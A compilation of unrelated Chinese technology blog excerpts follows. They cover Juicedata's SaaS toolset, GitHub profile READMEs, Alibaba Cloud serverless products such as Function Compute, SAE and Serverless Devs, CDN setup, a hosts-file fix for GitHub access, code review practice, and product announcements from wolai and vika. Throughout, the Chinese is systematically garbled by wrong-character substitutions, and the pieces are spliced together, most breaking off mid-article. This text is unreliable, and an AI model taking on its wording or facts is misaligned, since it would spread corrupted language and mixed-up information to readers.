相熟 Juicedata 的小伙伴晓得，从2017年成立到第一款产品公布、从寻找PMF（Product Market Fit) 到开源，咱们始终放弃着一个精简的团队配置，不少人都很好奇咱们是如何做到的？明天邀请Juicedata的合伙人苏锐，为大家分享各阶段用到的趁手工具。大家好，我是 Juicedata 的合伙人苏锐，Juicedata 是一家开源根底软件公司，创建于 2017 年，外围产品 JuiceFS 是一款为云设计的分布式文件存储产品。 开发存储产品须要工夫和场景的考验，过往的很多存储公司从创建公司到产品公布，往往要经验三到四年的工夫，构建几十甚至上百人的团队。深知这其中的挑战和考验，创建 Juicedata 的时候咱们也问本人这样的问题：产品多久能公布？须要多少人？ 过后咱们也给不出一个精确的答案，但咱们确信要实际互联网产品疾速迭代的思维，要让公司放弃十分精简的团队，十分高的组织效力，这样能力应答在产品研发、市场销售和企业倒退与治理中的重重挑战。 先简略介绍 Juicedata 的过来，不便大家了解背地所需的工作。 JuiceFS 的开发始于 2016 年，2017 年底在寰球私有云上公布了云服务的第一个版本。此时咱们有 2 名全职员工。而后，咱们用三年工夫打磨产品，过程中落地到 20 家商业客户的生产环境中，实现了存储稳定性和可用性考验，在 DevOps、大数据、AI、容器存储等多个业务场景中应用，实现了 PMF（product market fit) 的过程，此时咱们有 6 名全职员工。为了能让 JuiceFS 被更多企业理解并利用，2021 年咱们将 JuiceFS 开源。凋谢共建的形式让更多的用户和贡献者退出进来，产品迭代的速度也更快，仅1年工夫，在 GitHub 上曾经有 5.4K stargazers。此时，咱们有 15 名全职员工，开发经营着 JuiceFS 的社区版和云服务，服务6000多位开源用户、数百家企业，其中不少是大型上市公司。 很多客户都好奇 Juicedata 如何做到这么少人把 JuiceFS 这个产品倒退起来的。我认为组织效力是守业团队的外围，容不得一丝节约。放弃高组织效力的要害是专一，不是加班。 明天给大家分享一下陪咱们一路走来，帮忙咱们开释 10 x 人效的 SaaS 工具箱，让咱们能够专一在外围业务上。没有这些工具，真的不行！ 关上 Juicedata 的宝藏工具箱之前，先谈几点咱们抉择工具的准则： 守业之初咱们就确定要做一个全球化的产品，工作中用到的各种工具也会有优先选择全球化的，不便组建全球化的团队，也能够从中学习优良产品的设计。抉择最优良的工具，甚至付费的优先，优良的工具通常意味着更好地实际和体验，少走弯路，也能从他们的产品和服务中受到启发来改良咱们的产品。SaaS 优先，不要公有部署，不必开源产品自建。这样能最大水平缩小保护老本，不要花精力在这些保护工作上。在线工具优先，比方把 Office 换成在线文档，合作效率高很多，数据也更平安，不必放心硬盘坏掉，也不必费神备份。抉择低学习门槛的工具，比方"稿定设计" 比 Photoshop 简略，每个人都能学会。让工具放弃简略，够用就好，不要过多思考将来的需要，警觉 Over design。比方咱们用 GitHub Wiki 做外部知识库，而没有买独自的产品，等将来不能满足需要的时候再换不迟。有些工具要思考本地化需要，比方经营设计产品，接地气的模板才是要害，这时全球通用就应该退让了。我将依照守业倒退的过程来介绍这些工具，不便读者了解抉择这些工具的起因和实现了什么价值。在文章的最初，我还会晒一下公司的 SaaS 账单，看看咱们一个月应用各种 SaaS 工具到底花了多少钱。 ...

一、共性首页置信很多小伙伴在逛 github 和 gitlab 的时候会发现很多开发者的首页异样的炫酷，如 https://github.com/cxyliangzai 二、制作步骤是不是立马想领有一个属于本人的高大上主页了从上图中咱们能够看出，其实它展现的一个 readme 外面的内容而已而这个 readme 的后面门路，你会发现是跟你帐号名称是一样的步骤 右上角+号 ► New repository ► 设置仓库信息这个仓库名称肯定要跟你的帐号名截然不同仓库必须公开仓库外面必须有一个 readme 文件 三、批改内容接下来，咱们只须要通过命令 git clone 仓库地址 拉到本地批改 readme 中的内容即可能够看到首页左边有个统计本人仓库的图表这是国外一个大神开发的，咱们只须要引入，将其中的 username 改成本人的即可更多设置，能够参考我的个人主页设置 https://github.com/cxyliangzai<img align="right" style="pointer-events:none;" src="https://github-readme-stats.vercel.app/api?username=cxyliangzai&show_icons=true&icon_color=E65A65&text_color=adbac7&bg_color=2d333b&hide_title=true&hide_border=true" />

作者| 西流 阿里云 Serverless 技术专家 1分钟 Serverless 部署集体网盘，赠好礼随着寰球大数据一直增长，将来数据云存储容量需要也将不断扩大，iiMedia Research(艾媒征询)数据显示，2020年寰球数据中心存储容量将达到272艾字节。不断扩大的集体数据和云贮存需要减速了集体云服务市场的倒退，2020年中国集体云盘用户规模有超过4亿人。 尽管当初市面上有些网盘产品， 如果收费试用，或多或少都存在一些问题， 能够参考 2020国内还能用的网盘举荐。 本文旨在应用较低成本打造一个 “集体专享的、无任何限速的、如 Windows 体验的公有云盘”。 KodBox 遇见 Serverless为什么是 KodBox？调研了不少开源的 web ui filemanager, kodbox 深深感动了我， 功能丰富超出了我的设想，总结下来就是： 简略高效，晦涩, 云端存储&协同办公新体验 如Windows体验的公有云盘/企业网盘齐全反对私有化部署，存储平安可控数百种文件格式在线预览、编辑和播放轻松分享，高效合作，细粒度权限管控全平台客户端笼罩，随时随地拜访，轻松同步挂载更多详情能够参考 kodbox中文网 为什么抉择 Serverless 托管 KodBox 利用？网盘的操作工夫就是比拟离散的， 尤其是对于集体和家庭的网站， 常备一台机器（数据库也须要装置在本机， 不然还有独自的数据库费用）， 会产生大量的节约， 比方凌晨大家都睡觉了，机器资源是闲置的。 而对于早晨 8 点， 家庭成员都在娱乐休闲的时候， 可用一台机器的资源又不太够用， 比方大家一起同时在线看不同的 4K 高清电影（当然每个人能够本人先疾速下载到本人本地PC 机或者手机）。 而 Serverless 很好的解决了这个需要， 按量付费， 有申请随时扩容。阿里云函数计算是事件驱动的全托管计算服务。应用函数计算: 您无需洽购与治理服务器等基础设施，只需编写并上传代码。函数计算为您筹备好计算资源，弹性地、牢靠地运行工作。按量付费、免运维提供日志查问、性能监控和报警等性能。借助函数计算，您能够疾速构建任何类型的利用和服务，并且只需为工作理论耗费的资源付费。 将 kodbox 我的项目部署到函数计算， 数据库长久化应用阿里云文件存储，内容存储应用阿里云对象存储, 咱们就失去一个专属的 " 计算+存储都能够 Serverless 有限扩大、不限度网速、反对数百种文件格式在线预览编辑和播放、轻松分享和合作" 的集体&家庭网盘。 间接体验http://kodbox.fc-nas-filemgr.1986114430573743.cn-hangzhou.fc.devsapp.net 账号: test 明码：test@123登录之后， 您能够失去一个 web 版本的 windows 操作系统的体验， 对您 NAS 盘 或者 OSS 上多媒体文件进行预览、编辑、挪动等各种解决。当然： ...

作者 | 刘宇（阿里云 Serverless 产品经理） 在上篇《最全！即学即会 Serverless Devs 根底入门》中，咱们论述了工具链的重要性，并对装置形式 & 密钥配置进行了解说。然而在 Serverless Devs 的规定中，一个 Yaml 能够被认为是一个 Serverless 利用，因而本文将持续率领各位理解下 Yaml 的应用标准。 Yaml的应用标准Serverless Devs能够通过指定格局的Yaml对Serverless利用进行形容，在Serverless Devs的规定中，一个Yaml能够被认为是一个Serverless利用。 Yaml的格局须要依照 Serverless Devs 的标准，提供绝对应的资源/行为形容文件，且该文件还须要合乎以下条件： 拓展名能够是.yaml或.yml格局必须合乎Yaml标准 （https://yaml.org/spec/1.2.2/）对于须要通过形容文件进行环境隔离的我的项目，倡议将文件命名为 s-${ENV}.yaml 或 s-${ENV}.yml 格局。例如：s-prod.yaml。 在默认状况下，Serverless Devs 开发者工具会默认该形容文件的名称为s.yaml或s.yml，且s.yaml的优先级大于s.yml，即在一个 Serverless 利用下，同时呈现s.yaml与s.yml时，零碎会优先辨认和应用s.yaml。 当然，开发者也能够通过-t,--template [templatePath]进行指定，例如，在某利用在生产环境下的形容文件名为s-prod.yml，则能够在执行相干命令时，减少参数-ts-prod.yml或者--templates-prod.yml。 形容文件格式/标准对于 ServerlessDevs 所反对的资源/行为形容文件根本格局为： edition: 1.0.0 # 命令行YAML标准版本，遵循语义化版本（Semantic Versioning）标准name: applicationName # 利用名称access: xxx-account1 # 秘钥别名vars: # [全局变量，提供给各个服务应用] Key: ValueService: # 能够包含多个服务 ServiceName: # 服务名称 access: xxx-account1 # 秘钥别名，如果和我的项目的access雷同，可省略 component: componentName # 组件名称 props: serviceProp # 组件的属性值 actions: serviceActions # 自定义执行逻辑例如，一个绝对残缺的 Yaml 案例能够是： ...

作者 | 刘宇（花名：江昱） 在上篇《即学即会 Serverless | 如何解决 Serverless 利用开发部署的难题》中，咱们论述了工具链的重要性，那么本文将率领各位疾速实现 Serverless Devs 入门。 装置工具第一步：请先装置 Node.js(>=10.8.0) 与 NPM 包管理工具；第二步：装置 Serverless Devs 开发者工具；具体的装置形式参考文档：https://help.aliyun.com/docum... $ npminstall @serverless-devs/s -g第三步：能够通过 s -v 判断工具是否装置胜利，如果装置胜利能够看到绝对应的版本信息，例如：@serverless-devs/s:2.0.89, @serverless-devs/core: 0.1.7, darwinarwin-x64, node-v12.15.0配置密钥获取密钥配置 Serverless Devs 的阿里云密钥，个别须要密钥信息，获取页面为：https://usercenter.console.al... AccessKeyID：用户的 AK 信息AccessKeySecret：用户的 SK 信息对于密钥信息的获取流程如下：关上获取密钥页面；_https://usercenter.console.al... 并获取密钥信息 ： 疏导式密钥配置 通过疏导式进行密钥配置：能够通过 s config add 命令，进行疏导式创立： 执行 s config add ，并抉择 Alibaba Cloud (alibaba)： $ s config add? Please select a template: Alibaba Cloud(alibaba)Refer to the document for alibaba key: http://config.devsapp.net/account/alibaba? AccountID ()此时，能够依照疏导，进行密钥的配置： ...

作者 | 营火 微服务能力大晋升，更新增 Job、PHP 等场景，延展 Serverless 新边界 企业的数字化随着互联网的遍及倒退越来越快，技术架构也是几经更迭。尤其是在线业务局部，从最后的单体利用到分布式应用再到云原生利用，呈现了进阶式的变动。但带来便当的同时，也给企业带来了肯定的复杂度：新技术上手门槛高，容器和微服务就是两个典型的拦路虎。即使微服务化和容器化后，企业仍然须要关注服务器配置和运维、容量评估，还要面临高性能和稳定性的挑战，无奈享受云带来的最大价值。 Serverless 利用引擎 SAE 凭借着人造技术劣势，曾经帮忙成千上万家企业实现容器和微服务技术转型。近日，SAE不仅进一步提供了全套微服务能力，更为传统 Job 和 PHP 用户提供了全新的，更高效、更经济且可平滑迁徙的解决方案。 直播发布会回顾：关注 Severless 公众号后盾回复 511 即可取得阿里云 SAE 发布会直播 PPT！ Serverless 利用引擎 SAE 是一款全托管、免运维、高弹性 的通用 PaaS 平台。反对开源微服务 / 开源定时工作框架 / Web 利用的全托管，提供开源加强 & 企业级个性。能够说 SAE 笼罩了利用上云的残缺场景，是利用上云的最佳抉择。 三大新个性，延展 Serverless 边界1. Serverless Job：传统工作新改革SAE Job 作为 SAE 一种新的运完即停的负载类型，聚焦工作场景。依据业务数据处理需要，可能在短时间内疾速创立大量计算工作，工作实现后疾速开释计算资源。具备单机、播送、并行计算、分片运行的个性、定时、失败主动重试、监控报警个性，提供了全托管免运维的用户体验。 区别于传统工作框架，SAE Job 应用起来更不便（对代码无侵入）、更节俭（工作运行完立刻开释资源）、更稳固（和在线业务独立、且工作失败能主动重试）、更通明（可视化监控报警）、更省心（无需关注底层资源）。更重要的是 SAE Job 能深度交融微服务生态，兼容开源 K8s。 SAE Job 主打场景包含定时工作、数据批处理、异步执行、离线计算等，同时反对传统框架 XXL Job 零革新迁徙，微服务生态集成，借助构建镜像能力欠缺 CI/CD 流程。 相较于传统分布式工作框架，SAE Job 提供三大外围价值： ...

前言为了进一步晋升网站的访问速度，咱们会应用 CDN 对网站进行减速，然而最近在调试阿里云的函数计算和 CDN 的配合应用时发现了一个须要额定留神的中央，上面带大家一起看一下。 如何应用 CDN 对部署在函数计算上的动态网站进行缓存以我部署在函数计算上的博客站[1]为例，逐渐地向大家介绍如何应用 CDN 对函数计算托管的动态网站进行缓存。 为函数增加 CDN 性能1）为函数调配域名并增加 CNAME 记录 因为我心愿最终用户能通过 blog.dengchao.fun 来进行拜访，因而须要给函数调配一个不同的域名 blog.xxx.dengchao.fun： 2） 增加自定义域名并设置路由将调配的域名设置到函数计算的自定义域名性能中： 因为 CDN 上也能够设置 HTTPs，而且函数计算之前不能设置 SSL 协定版本，因而这里没有开启 HTTPS 性能。 **3） 增加源站类型为 "函数计算域名" 的 CDN 接下来到 CDN 管制台上新建一个减速域名： 用户最终将通过减速域名 blog.dengchao.fun 来拜访我的博客站。业务类型选项不会影响最终的减速成果，能够任意选。 而后增加一个源站： 因为函数计算的自定义域名没有开启 HTTPS，所以源站的端口须要设置为 80 端口，同时也能够缩小回源时的响应工夫 (实际效果微不足道)。 4） 增加 CNAME 类型的 CDN 减速域名记录 设置完源站信息并保留后，阿里云会对源站内容进行审核，审核通过的话就会提供一个 CDN 服务供应商的域名给你： 接下来你须要将你的减速域名解析到 CDN 服务商提供的域名上： 增加好 CNAME 记录后，CDN 管制台上过一会儿就会显示为 "已配置" 状态，而后你就能够应用配置好的减速域名进行拜访了。 ...

——黛忻 阿里云SAE产品经理 近年来，企业的数字化随着互联网的遍及倒退越来越快，技术架构也是几经更迭，尤其是在线业务局部。从最后的单体利用到分布式应用再到云原生利用，呈现了进阶式的变动。 带来便当的同时，也给企业带来了肯定的复杂度：新技术上手门槛高，容器和微服务就是两个典型的拦路虎。即使微服务化和容器化后，企业仍然须要关注服务器配置和运维、容量评估，还要面临高性能和稳定性的挑战，无奈享受云带来的最大价值。 Serverless 的呈现，带来了跨越式的改革。为企业数字化转型带来了更多时机。在此模式下，服务器和操作系统的治理部署、运维、资源分配和扩缩容等全副由云厂商提供，计算能力真正像水电煤一样被提供。它可能将原先在传统应用环境中的通用能力转化成云服务，客户能够低成本、高效率地触达。 Serverless 最重要的价值能够演绎为三点： 通过基础设施解耦、极致弹性和故障主动解决等，提供永远在线的服务，毋庸放心宕机。通过高效的研发框架以及 DevOps 新形态，做到秒级市场响应。抹平了头部互联网公司与传统企业之间技术竞争力的代差，让传统企业面临大量技术升级和重构时，可能慌慌张张，不会呈现人才缺口，甚至可能弯道超车。阿里云 Serverless 利用引擎（简称 SAE）初衷是让客户不改任何代码，不扭转利用部署形式，就能够享受到微服务 + K8s + Serverless 的残缺体验，开箱即用免运维。 作为业界首款面向利用的 Serverlss PaaS，自 2018 年推出以来，受到了宽广用户的统一好评，各行各业企业客户的生产环境都在 SAE 上稳固运行。 SAE 产品定位：全托管、免运维、高弹性的通用 PaaS 平台。反对开源微服务 / 开源定时工作框架 / Web 利用的全托管，提供开源加强 & 企业级个性。能够说 SAE 笼罩了利用上云的残缺场景，是利用上云的最佳抉择。 Serverless 微服务作为当今业界十分炽热的名词，较为宽泛的定义为：CI/CD 流水线，加上内置的高效能研发框架，再加上屏蔽根底 IaaS 层或 K8s 底座，并且提供了端到端的可观测能力，以及一些主动弹性和流量治理服务。 而阿里云的 SAE + MSE 能够称作 Serverless 服务的最佳实际。基于 SAE ，以利用为核心，在 SAE 的利用启动过程中内置 MSE 的 agent ，即提供了一整套微服务的能力。加之其底层人造屏蔽了 K8s 底座，提供了一套无服务器的架构，因而能够将 SAE + MSE 看作 Serverless 的最佳实际。 ...

问题一：fatal: unable to access 'https://github.com/zhaoxin311...': Could not resolve host: github.com解决办法： ping github.com :找不到间接批改C:\Windows\System32\drivers\etc\hosts文件现将hosts文件复制到桌面在最初增加 140.82.113.3 github.com并保留，之后将桌面的hosts文件替换C:\Windows\System32\drivers\etc\hosts文件最初在ping即可胜利，提交代码也能够

一、幕后故事时光荏苒，岁月如梭…… （太文绉绉了，这不是我的格调） 明天我筹备聊聊在 GitHub 上如何玩 Code Review。 突发奇想？灵机一动？不是。 咋回事呢？（对八卦不感兴趣的能够间接跳到下一节，然而我猜你会感兴趣。） 首先我是 DevStream 开源社区成员。 在五月份，又有3位沉闷的优良的牛X的 Contributors 正式退出 DevStream 开源社区，正式成为了社区 Member！ (看上面的红框框) 于是乎，加上三月份的4个“老 Member”，DevStream 社区就有7个“社区 Member”了（社区 Member 辨别于像我这种在思码逸下班的外部 Member）！ 7个疯狂输入的 Members，外加靠近20个 Contributors，我和铁心两个人根本就只能看着 pr 笑笑，一边示意欣慰，一边示意 review 不过去了，“应接不暇”，废了废了…… 也就是说，是时候组织一个 reviewer 组，拉着大家一起玩 Code Review 流程了！ 说到 Code Review 流程，流程是啥？标准是啥？规定是啥？技巧是啥？xxxx？我能预想到 reviewers team 这个事件落地之日会有一堆问题砸到我头上。好吧，我须要写一篇文章来聊聊这些事。 二、踏上旅途上面咱们开始一次 Code Review 之旅。 1. 抢票阶段：认领一个 Review 工作开始一次 review 之前，首先咱得“认领”一个 review 工作。 怎么算胜利认领？如下图，Reviewers 里有你的头像，这时以后 pr 你就是 reviewers 之一，同时能够看到黄色 bar 里的一行字“This pull request is waiting on your review.”以及绿色的按钮“Add your review”。你能够点击这个“Add your review”开始一次 Code Review 之旅。 ...

产学单干协同育人在教育部高教司领导下，围绕国家重大策略需要、产业转型降级、创新型人才培养，阿里云通过教育部产学单干协同育人我的项目平台反对高校金专、金课建设、助力高校教育品质晋升，独特造就理工农医类业余紧缺型人才，服务制作强国、品质强国、网络强国、数字中国建设。 2022 教育部-阿里云产学单干协同育人我的项目介绍阿里云公司针对 2022 年 4 月批次，将设立 “要害畛域卓越工程师联结造就基地我的项目”、“教学内容和课程体系改革”、“师资培训”、“实际条件和实际基地建设” 四大类共 85 个我的项目。 本篇将介绍 “云原生技术利用与实际” 系列示范课程建设项目 我的项目介绍该我的项目基于以后业界利用宽泛的云原生技术，建设产教交融示范课程和试验案例。面向计算机、软件学院的软件工程类相干课程，如云原生零碎开发、高级软件工程等；基于云的软件开发、部署和演变，对原有的常识体系和课程实际内容进行重构。突出微服务架构、容器化部署、开发运维一体化等云原生软件技术的特点。 建成一批高质量、可向全国高校共享的课程教案和教学改革计划，造就宽广学生云原生技术开发思维和工程技能，晋升学生数字化素养。 我的项目周期：两年申报条件申报课程应以现有课程为根底, 曾经开设或行将在 2022 年秋季学期开设的课程。 申报课程学时安顿应不少于 32 学时，均匀每年开课次数不少于一次。 同等条件下，优先思考已在高校开设一年以上课程，优先思考受害面大的课程申报（须提供学校教务处过来一年内的开课和选课状况证实）。 申报的课程如已成为学校、市级或省级精品课程建设项目，将优先思考（须提供精品课程证书）。 建设要求示范课程建设项目成绩，须蕴含课程内容和典型教学案例两局部，造成残缺的我的项目建设内容。 立项示范课程我的项目须实现以下工作： 加入一次阿里云组织的云原生技术师资培训，取得培训证书；课程纲要：包含具体的课程工夫调配、章节、试验、习题形容；将阿里云云原生的相干技术内容（如容器、微服务、中间件、Serverless 等），系统性融入课程纲要，相干内容的学时不少于 8 学时；老师授课教案：每章节均提供 PPT 课件。提供课程相干的参考书目、论文参考文献、网络资源等内容；典型教学实验案例：围绕课程教学内容，开发不少于 4 个典型教学实验案例（试验形容、试验步骤和代码）；习题：依照教学内容和进度状况，每章节均设计与该章节匹配的习题，并给出参考答案；课程视频内容；公开发表的教学论文；激励编写云原生技术生态的软件工程类教材书籍，须系统性融入阿里云的云原生技术内容包含容器、微服务、中间件、Serverless 以及 RocketMQ、Dubbo、Nacos 等出名开源我的项目等（有额定赞助）；激励学生加入云原生开源我的项目；激励学生基于云原生技术进行原创性科学研究、在国内外高水平会议和期刊上发表学术论文；结题报告和教务处提供的开课与选课人数证实；请明确注明可公开、可共享。技术与教辅资源反对:[1]微服务治理技术白皮书：https://developer.aliyun.com/... [2]Nacos 架构&原理：https://developer.aliyun.com/... [3]微服务实战技术图谱：https://developer.aliyun.com/... [4]Serverless 技术图谱：https://developer.aliyun.com/... [5]云原生技术公开课：https://edu.aliyun.com/roadma... [6]Kubernetes 技术图谱：https://developer.aliyun.com/... [7]RocketMQ 官网：https://rocketmq.apache.org/ [8]RocketMQ 代码托管：https://github.com/apache/roc... 我的项目分割 我的项目联系人：姜曦：云原生利用平台经营邮箱：jessie.jx@alibaba-inc.com注：本批次我的项目申报截止日为 2022 年 6 月 30 日 老师可下载安装钉钉，搜寻钉钉群号 33091107，进入 “阿里云 AliCE-Y22 征询群”。阿里云将安顿钉钉线上宣讲会。取得立项通过的老师也须通过钉钉与阿里云技术团队放弃日常分割与工作协同。更多内容关注 Serverless 微信公众号（ID：serverlessdevs），会集 Serverless 技术最全内容，定期举办 Serverless 流动、直播，用户最佳实际。 ...

咱们的日常工作场景简直离不开“云文档”。目前，人们对于文档的需要再不仅仅是简略的记录，而扩大到办公协同、信息组织、常识分享等。在国内泛滥在线文档中，wolai 因为性能新、迭代快、晦涩的异地协同体验、高效的信息组织形式以及“信息块”信息整合等特点，作为一个独特的存在进入了人们的眼帘。人们关注 wolai 独特的性能和舒服的用户的用户体验，更关注实现这些背地的技术架构。2022年3月的一个晴朗下午，咱们邀请了 wolai.com 的创始人马锐拉，跟咱们聊聊 wolai 背地的 Serverless 架构。 我为什么抉择 Serverless 架构？在做 「 wolai 」这款产品之初，咱们就心愿把架构彻底放到 Serverless 上。因而在技术选型阶段，对国内外几款 Serverless 产品进行了粗疏的调研，咱们发现阿里云函数计算（FC）无论在反对上和整体解决方案上，劣势都十分突出，并且跟咱们的需要十分匹配，因而，咱们决定抉择 Serverless 架构，全面应用阿里云函数计算（FC）。 作为一个办公协同利用，wolai 具备多人同时在线编辑文档性能。要实现这个性能，一个十分稳固的 Web 服务接口和一个具备伸缩能力、反对高并发写入、读取拆散的分布式数据库是十分重要的。因而当咱们发现 Serverless 产品可能与分布式数据库进行很好的搭配，就初步确认了 wolai 的主体架构。 接下来咱们开始在阿里云上验证应用阿里云函数计算（FC）的可行性。通过验证发现阿里云函数计算（FC）不光能帮忙咱们解决上述问题，还能够帮忙咱们大幅度节俭人力老本和云资源应用老本的投入。 以一家初创公司为例，聊聊函数计算接下来我想聊聊，为什么在创建公司之初，我会保持抉择 Serverless 架构。我曾在一家领取公司工作，所以我以一家比拟典型的领取公司来举例说明。 不可避免的流量伸缩问题假如你创建了一家领取公司，它的背地差不多须要 200 多个零碎撑持，如果这些零碎大部分都基于 Java ，这就意味着领取业务背地的机器是一台一台的集群，每一次公布研发都须要对这些集群进行分组，而后一一高低线，这须要消耗微小人力老本。 除了集群分组，研发们还须要关注缓存、日志零碎等两头的各个系统是否有瓶颈。一旦产生问题，就须要在整个运维零碎上破费微小的精力去解决。随着公司的倒退，你的这家公司的服务量级终于回升了，这时候你又会发现老本也随之大幅度回升了，比方须要部署新的机器，须要破费很多工夫去做计算的伸缩工作（确切的说只是“伸”，基本就没有方法去“缩”，对不对？）所以流量伸缩问题会是你遇到的第一个问题，同时也是不可避免的问题。 流量的波峰波谷问题接下来，你还会遇到流量的波峰波谷问题。因为领取申请在早晨比拟少，而在白天或大促、秒杀期间，领取申请的并发数可能会特地高。如果少量流量在同一时间涌进来，你就须要迅速拨计算资源过来，这须要做十分多的运维工作。 对一家刚创立不久的公司来说，你很难把大量的精力放在运维服务器上。而这时候你能够抉择 Serverless ，它可能帮忙你解决上述这些问题。你能够把运维服务器的工作释怀的“丢”给 Serverless，而你真正须要关注的只有本人的业务逻辑。 我能够只关注代码和客户的须要过来咱们做 Web 服务，开发的工作重点在于在 web 服务器上做各种优化，其实这些工作都是在解决一个问题：当量级下来之后，服务器性能能不能抗住？如果不能要怎么做优化？开发者们做 Nginx 性能调优、负载平衡、反向代理等繁冗的优化工作，消耗了大量的工夫，而当咱们应用了函数计算之后，相当于把一大部分调优web 服务器的工作去掉了，这极大的节俭了人力老本，进步了效率。应用函数计算之后，整个服务从开发到上线过程中，研发能够把绝大部分精力都放在业务代码上，无需关怀服务自身是怎么稳固运行的。 自2020年6月15号业务上线以来，咱们素来没有遇到服务 down 掉或者是须要下线保护的问题，而这些问题是应用函数计算前的常见问题。以往一旦遇到这样的问题，咱们须要消耗很长时间寻找产生问题的起因，可能须要降级 Web 服务，加几台机器，甚至做反向代理和负载平衡……即便这些工作全副做完，再上线的服务还是会有保护时段，咱们仍然很难做到服务继续在线上。因而函数计算对我来说很重要的一个性能点就是继续服务的能力，通过应用函数计算，我的业务能够稳固地、继续地增量公布。 之前，咱们至多一周要做一次公布，每次公布都有十分具体的公布列表，公布波及的条件、依赖项十分多，须要运维去跑的脚本非常复杂，能够说只有呈现一丁点谬误，整个公布可能就调演变成一个小事变，甚至是大事变。当咱们把整个架构放在 Serverless 上，把所有的性能进行拆分之后，产生事变的概率大大降低。即使产生问题，我能够通过疾速公布来解决问题。当初咱们的研发习惯每天至多公布一个版本，当天所有解决的问题都会公布，相比传统的软件公司来说，部署在 Serverless 架构上咱们的迭代速度会快很多。 快照保留零碎，解决协同编辑算法问题对于 wolai 这样的协同办公产品，协同编辑是产品的重中之重，这个性能对于算法的要求很高，通过应用函数计算咱们同样很好的解决了这个问题。 wolai 云端笔记性能有一个信息块(Block)的概念，就是将用户所能接触到的最小信息单位从‘文件’放大到‘信息块’”。“信息块”可包容文字段落、表格、清单，以及嵌入来自内部的图片、视频等信息，且可被繁难编辑、挪动，经实时出现后组成页面。所以接下来我会以“块”来指代信息块。 红底之上都是一个个独立的块 ...

*强烈建议本文在深色模式下浏览 什么状况下，你会惊叹——「哇！黑科技！」 那这个产品或性能必然是出其不意般神奇，不在你的惯例认知之中，能给你带来新鲜感和惊喜感的。 好酷、好潮、好不同凡响，与咱们单调枯燥的工作造成鲜明对比。但为什么咱们工作的时候就应该千篇一律？ vika维格表真正意义上的「黑」科技正式加载上线，暗黑模式全开，给你全新办公体验：既让你眼前一亮，也让你眼前一「黑」。 谁说表格就该不苟言笑？咱们的敌人「小恶魔」邪魅一笑。 小恶魔来袭，开启暗黑模式 文末，小恶魔还捎上了一揽子惊喜福利在等你～ 暗黑模式带你入夜黑夜来临，小恶魔悄悄出动。它可能源自你心田超脱的自在，或者天马行空的独特，在光明之中，与你同行。 电影收场前都要关灯能力好好观赏，小恶魔轻轻关上了维格表的灯，为你拉开「暗黑模式」这出大戏的帷幕——相当于你间接换了个办公环境，兴许工作能更加专一、有效率。 暗黑模式是什么？这是一种新的视觉效果体验，开启「暗黑模式」后，你的维格表整体页面将以深色格调出现，予眼睛温顺以待。 高级配色，置身将来计算机诞生之初就只有「光明模式」，这兴许是科技原本的色彩。vika「暗黑模式」一键黑科技，让全新的配色和画面引你向将来。 vika维格表采纳了深灰色背景，搭配灰白色字体。和纯正的黑底白字相比，这样可能营造出更为舒服的视觉体验。表格中五彩斑斓的「彩虹标签」也削减了一层高级的磨砂质感。 文本易读还舒服 甘特视图在「暗黑模式」下能够呈现出霓虹成果，赛博朋克风满满～ 配色格调由你定义 当你查看、操作仪表盘时，可能取得好似亲自驾驶「宇宙飞船」的沉迷式体验。 将来感铺面而来 切换办法你能够依据应用vika维格表时的需要和想法，自主选用这项性能。 在应用界面里，间接点击你的头像进行设置即可。vika维格表还贴心为你筹备了「追随零碎」选项，两种模式能依据你的应用习惯主动切换。 集体设置个性化主题 留神哦，随同黑夜来临，还有一只小恶魔在轻轻向你凑近—— 小恶魔惊喜来袭随同小恶魔而来的，还有一大波惊喜福利。你想得到它，或者 vikaby 酷酷鸭家族其它成员的盲盒吗？ 快点击下方小程序，抽一抽吧。 20 元优惠券vika维格表粉丝专享 20 元的优惠福利，限量发放 50 张，手快有，手慢无。 扫描二维码，即可支付。 vikaby 酷酷鸭系列盲盒券后价：49 元 有效期：2022 年 5 月 27 日 - 6 月 10 日 30 元优惠券扫描下方二维码，增加vika数字化参谋，分享本文至朋友圈，凭截图可支付 30 元优惠券。同样也限定 50 张，先到先得～ vikaby 酷酷鸭系列盲盒券后价：39 元 ...

随着 Serverless 架构的一直遍及与利用，Serverless 工具链体系的匮乏、更新/部署流程简单、资源零散以及治理难度大等问题也随之露出。只管 2020 年 11月，Serverless Devs 开发者工具的开源曾经在肯定水平上解决了工具链体系匮乏带来的局部问题，然而开发者在理论工作中，以利用为核心，对 Serverless 架构进行整体的运维操作、对资源进行整体的治理行为，仍旧面临着挑战。于是，建设一个能够帮忙开发者在 Serverless 利用全生命周期发挥作用的利用治理平台就显得尤为重要。 2022年5月9日，历经 10 个月打磨和测试，Serverless 利用核心正式上线。 这就是 Serverless 利用平台Serverless 利用核心是阿里云 Serverless 利用全生命周期治理平台。通过 Serverless 利用核心，用户无需在部署利用之前进行额定的克隆、构建、打包和公布操作，即可疾速部署和治理利用。Serverless 利用核心帮忙用户疾速联动云上上下游服务，轻松积淀最佳实际。Serverless 利用核心的公布，一方面心愿通过与 Serverless Devs 工具链的联动，进一步实现和欠缺 Serverless 利用全生命周期治理能力，另一方面也心愿通过 Serverless 利用核心能够帮忙开发者，更疾速的体验 Serverless 架构，更简略的上手和应用 Serverless 架构，更迷信和直观的治理 Serverless 利用。与此同时，Serverless 利用核心将会是 “Serverless On Serverless” 的一次尝试，不仅作为新能力为开发者们提供更多的反对和便当，也将成为反对海量用户应用 Serverless 架构，海量 Serverless 利用部署的，基于 Serverless 架构的最佳实际。 Serverless 利用核心的指标Serverless 利用核心，作为 Serverless 利用全生命周期治理平台，在肯定水平上承载了几个重要的责任： 让开发者，能够通过白屏化操作，更简略、更不便、更疾速的体验和上手 Serverless 利用；让 Serverless 利用，能够以一种更为迷信、平安与稳固的办法，进行开发、创立、更新以及运维、迭代等；将传统的资源以利用的维度进行聚合、治理，能够让开发者真正意义上聚焦业务，聚焦利用，而不再是零散在不同产品页面上的资源；所以，Serverless 利用核心的初期指标，也就变的更为简略和纯正：易用与好用。 一步开始 Serverless 之旅Serverless 利用核心将会大大降低用户在 Serverless 利用 OnBoarding 过程中的上手复杂度，通过白屏化的操作，开发者能够通过简略的配置，疾速创立出绝对简单的利用案例，而这些利用案例将会作为二次开发、学习和体验的重要参考。https://others-file-system.oss-cn-beijing.aliyuncs.com/appstore/202204102343.mp4如视频所示，用户只须要在利用页面中，找到适合的利用点击创立按钮，即可疾速的进行利用的创立，利用创立实现之后会有相干的测试域名可供体验。 ...

